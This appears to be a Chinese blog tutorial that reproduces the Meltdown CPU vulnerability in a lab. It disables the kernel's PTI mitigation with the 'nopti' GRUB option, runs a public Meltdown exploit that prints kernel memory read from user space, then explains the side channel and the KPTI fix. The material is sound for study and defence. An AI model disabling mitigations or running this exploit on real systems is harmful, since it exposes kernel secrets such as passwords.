Meltdown复现及原理分析
文章目录
- 前言
- 一、Meltdown复现
- 1.1 检测环境是否开启防护
- 1.2 运行EXP代码
- 二、Meltdown原理分析
- 三、修复方案:KPTI技术
- 参考资料
前言
操作系统最核心的一个特性是内存隔离,即操作系统要确保用户程序不能访问彼此的内存。而CPU熔断漏洞巧妙地利用了现代处理器中乱序执行的副作用进行侧信道攻击,破坏了机遇地址空间隔离的安全机制,使得用户态程序可以读出内核空间的数据,包括个人私有数据和密码等。
一、Meltdown复现
1.1 检测环境是否开启防护
在GitHub spectre-meltdown-checker Repo获取spectre-meltdown-checker.sh检测脚本。
# 获取检测工具
curl -L https://meltdown.ovh -o spectre-meltdown-checker.sh
# 执行检测脚本并以json格式展示结果
sudo ./spectre-meltdown-checker.sh --batch json | jq
输出结果如下所示,可以看到当前环境MELTDOWN漏洞不可用,原因是开启了PTI(Page Table Isolation)即页表隔离。
[{"NAME": "SPECTRE VARIANT 1","CVE": "CVE-2017-5753","VULNERABLE": false,"INFOS": "Mitigation: usercopy/swapgs barriers and __user pointer sanitization"},{"NAME": "SPECTRE VARIANT 2","CVE": "CVE-2017-5715","VULNERABLE": false,"INFOS": "Full retpoline + IBPB are mitigating the vulnerability"},{"NAME": "MELTDOWN","CVE": "CVE-2017-5754","VULNERABLE": false,"INFOS": "Mitigation: PTI"}...
]
修改/etc/default/grub关闭PTI补丁 (部分版本可能需要修改 /etc/default/grub.d/50-curtin-settings.cfg),在GRUB_CMDLINE_LINUX中添加nopti
vim /etc/default/grub
GRUB_CMDLINE_LINUX="nopti"
重新生成配置文件
# ubuntu
sudo update-grub
# centos
sudo grub2-mkconfig -o /boot/grub2/grub.cfg
重启后再次运行spectre-meltdown-checker.sh脚本,可以看到MELTDOWN漏洞变成可用。
{"NAME": "MELTDOWN","CVE": "CVE-2017-5754","VULNERABLE": true,"INFOS": "PTI is needed to mitigate the vulnerability"}
1.2 运行EXP代码
我们使用https://github.com/paboldin/meltdown-exploit这个exp进行攻击测试。
[root@localhost meltdown-exploit]# ./run.sh
looking for linux_proc_banner in /proc/kallsyms
cached = 37, uncached = 351, threshold 113
read ffffffffa2600080 = 25 % (score=898/1000)
read ffffffffa2600081 = 73 s (score=969/1000)
read ffffffffa2600082 = 20 (score=615/1000)
read ffffffffa2600083 = 76 v (score=989/1000)
read ffffffffa2600084 = 65 e (score=979/1000)
read ffffffffa2600085 = 72 r (score=987/1000)
read ffffffffa2600086 = 73 s (score=977/1000)
read ffffffffa2600087 = 69 i (score=984/1000)
read ffffffffa2600088 = 6f o (score=769/1000)
read ffffffffa2600089 = 6e n (score=953/1000)
read ffffffffa260008a = 20 (score=522/1000)
read ffffffffa260008b = 25 % (score=974/1000)
read ffffffffa260008c = 73 s (score=953/1000)
read ffffffffa260008d = 20 (score=676/1000)
read ffffffffa260008e = 28 ( (score=969/1000)
read ffffffffa260008f = 6d m (score=910/1000)
VULNERABLE
PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19
VULNERABLE ON
3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz
stepping : 3
microcode : 0xffffffff
cpu MHz : 3407.999
cache size : 8192 KB
physical id : 0
这里读取的是linux_proc_banner地址的数据,我们使用crash验证一下读取的数据是否正确。
[root@localhost meltdown-exploit]# cat /proc/kallsyms | grep linux_proc_banner
ffffffffa2600080 R linux_proc_banner
[root@localhost meltdown-exploit]# crash /proc/kcore /usr/lib/debug/lib/modules/3.10.0-957.el7.x86_64/vmlinux
crash> rd ffffffffa2600080 10
ffffffffa2600080: 6973726576207325 6d28207325206e6f %s version %s (m
ffffffffa2600090: 646c6975626b636f 65646c6975626b40 ockbuild@kbuilde
ffffffffa26000a0: 632e737973622e72 726f2e736f746e65 r.bsys.centos.or
ffffffffa26000b0: 2063636728202967 206e6f6973726576 g) (gcc version
ffffffffa26000c0: 303220352e382e34 2820333236303531 4.8.5 20150623 (
可以看到linux_proc_banner地址处的内存数据和EXP输出的数据相同,即漏洞利用成功。
这里再推荐一个meltdown的EXP(https://github.com/IAIK/meltdown),感兴趣的同学可以了解一下。
二、Meltdown原理分析
侧信道攻击,是密码学中常见的暴力攻击技术,它是针对设备在运行过程中的时间消耗、功率消耗或电磁辐射之类的侧信道信息对加密设备进行攻击的方法。而在Meltdown漏洞正是利用了计算机高速缓存和物理内存不同的访问时延来实现的一种侧信道攻击。
具体来说,Meltdown漏洞的产生是因为CPU指令的乱序执行,当用户态程序非法访问一个内核空间地址时,在进行页属性的检查之前已经把物理内存数据加载到高速缓存当中了,虽然在后续检查属性时清除了读取的内核态数据,但是通过比较cache中数据访问的时间,仍然可以获取内核态地址地址数据。
伪代码:
1: set_signal(); // 定义一个信号和回调函数,当程序发生异常时,执行该回调函数,而不是发生段错误退出程序
2: u8 user_probe[4096]; // 定义一个攻击者可以安全访问的数组
3: clflush for user_probe[4096]; // 将该数组从高速缓存中刷掉
4: u8 value = *(u8 *)attack_mem_addr; // attack_mem_addr存放被攻击的内核空间地址
5: u8 index = (value & 1) ; // 只保留value的最后一位
6: data = user_probe[index * 4096]
三、修复方案:KPTI技术
KPTI的总体思路是把每个进程使用的一张页表分隔成两张-内核页表和用户页表。
- 当程序运行在用户空间时,使用的是用户页表。
- 当发生中断、异常或者主动调用系统调用时,用户程序陷入内核态。进入内核空间后,通过一小段内核跳板(trampoline)程序将用户页表切换到内核页表。当进程从内核空间跳回用户空间时,页表再次被切换回用户页表。
因此当程序运行在用户态时,内核页表仅仅包含跳板页表,而其他内核空间都是无效映射,因此进程无法访问内核空间数据了。
参考资料
- Meltdown and Spectre官网:Meltdown and Spectre
- Meltdown的论文原文:Meltdown: Reading Kernel Memory from User Space
- 解读 Meltdown & Spectre CPU 漏洞
- Meltdown复现与linux检测Meltdown的原理分析
- Linux笔记–关闭系统漏洞补丁(Spectre & Meltdown补丁)
- 解读 Meltdown & Spectre CPU 漏洞